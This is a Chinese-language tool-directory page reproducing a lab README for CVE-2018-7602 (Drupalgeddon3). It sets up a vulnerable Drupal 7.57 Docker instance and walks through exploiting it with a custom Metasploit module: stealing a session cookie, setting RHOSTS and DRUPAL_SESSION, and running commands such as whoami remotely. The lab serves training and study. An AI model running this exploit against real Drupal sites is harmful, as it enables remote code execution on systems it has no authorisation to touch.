Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kastellanos/cve-2018-7602
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubkastellanos/cve-2018-7602

CVE-2018-7602

Drupalgeddon3 RCE 利用实验室,基于Docker的脆弱环境,集成Metasploit,用于CVE-2018-7602漏洞利用的实战训练。

查看仓库
127年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-7602

Drupal 7.x 和 8.x 的多个子系统中存在远程代码执行漏洞。攻击者可能利用该漏洞在 Drupal 站点上实施多种攻击向量,导致站点被入侵。此漏洞与 Drupal 核心有关——高危——远程代码执行——SA-CORE-2018-002。SA-CORE-2018-002 及本漏洞正被在野利用。 —— MITRE

漏洞复现步骤

先决条件

由于 Docker for Mac 和 Windows 的一些网络限制(https://docs.docker.com/docker-for-mac/networking/#use-cases-and-workarounds),以下代码应在安装了 docker 和 docker-compose 的 Linux 机器上执行。

环境搭建

这里我们分为两步操作:首先搭建一个运行易受攻击版本 7.57 的 Drupal 机器,其次是攻击机器,它使用一个修改后的漏洞利用程序来展示该漏洞的潜在危险。

  • 脆弱机器:环境搭建需执行以下命令:
root@kitploit:~
# 假设你已位于 CVE-2018-7602 目录下
cd vulnerable_machine
docker-compose up -d
cd ..
  • 警告:运行命令前,请确保 80 端口未被其他软件占用。

  • 攻击机器:这里我们将实例化一个 Metasploit Docker 镜像,其中包含一个自定义的漏洞利用程序(drupal_drupalgeddon3_commander),后续将使用它。执行:

root@kitploit:~
cd attacking_machine
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms
  • 说明:建议在单独的终端中执行该命令,因为漏洞利用阶段需要保持该会话。

如果执行上述命令时遇到问题,请将执行日志发送至 [email protected],他将很乐意帮助你解决问题。

Drupal 配置

现在 Drupal 已运行,我们需要配置并创建一些内容。请按以下步骤操作:

  1. 访问 Drupal 主页,通常位于 **http://localhost**,然后使用默认配置,每一步点击下一步。 使用以下数据库凭据:
    • 数据库用户名:postgres
    • 数据库密码:safe_password
    • 数据库主机:在数据库的“高级选项”中将数据库主机从 localhost 改为 postgres

配置指南

  1. 下一步是在 Drupal 中创建一个节点。节点指内容,如页面或博客条目。若未登录请先登录,然后点击 添加新内容。选择文章或基本页面,填充随机信息,并保存创建后页面 URL 中显示的数字。如果创建的是第一个页面,该数字通常是 1。

节点创建

利用漏洞

root@kitploit:~
# Overview
We will try to use the vulnerability to execute commands like ls or whoami
to show that it is possible to execute commands remotely.

现在易受攻击的 Drupal 实例已在本地主机上运行。接下来开始在环境搭建步骤中创建的 Metasploit 实例中使用。

在 Metasploit 中,我们需要使用以下命令重新加载漏洞数据库:

root@kitploit:~
reload_all

这样我们就有了所需的漏洞利用程序。为了准备漏洞利用所需的信息,我们需要从已登录站点的用户处获取会话 cookie。

轻松获取的方法:假设你仍处于登录状态。进入开发者工具,查看 cookie 存储并保存下来。最终应得到类似如下内容:

root@kitploit:~
#<session_name>=<session_token>
SESS49960de5880e8c687434170f6476605b=DGHZKHWaNC51nrVQHEsTD0_PS68EeNyvGjdzk1SVmss

使用 Google Chrome 获取 cookie 的示例: 会话 cookie

现在开始使用 Metasploit 加载漏洞利用程序。执行以下命令:

root@kitploit:~
use exploits/unix/webapp/drupal_drupalgeddon3_commander
show options

如你所见,我们需要一些参数。 我们按如下方式设置参数:

root@kitploit:~
set RHOSTS localhost
set DRUPAL_SESSION <session_name>=<session_token>

完成后执行:

root@kitploit:~
exploit

我们将获得当前执行 Web 服务器的用户。在本例中是 www-data。因为默认命令设置为 whoami。此外你还会看到一些 JSON 格式的额外信息,这些信息对我们无关紧要。

最终漏洞利用结果如图所示: 最终结果

实验结束:如果你成功完成了所有实验步骤,那么恭喜你,这就是终点。

如果你想继续实验,可以使用 set 指令更改命令值,或修改 Metasploit 使用的 Ruby 脚本。

下载工具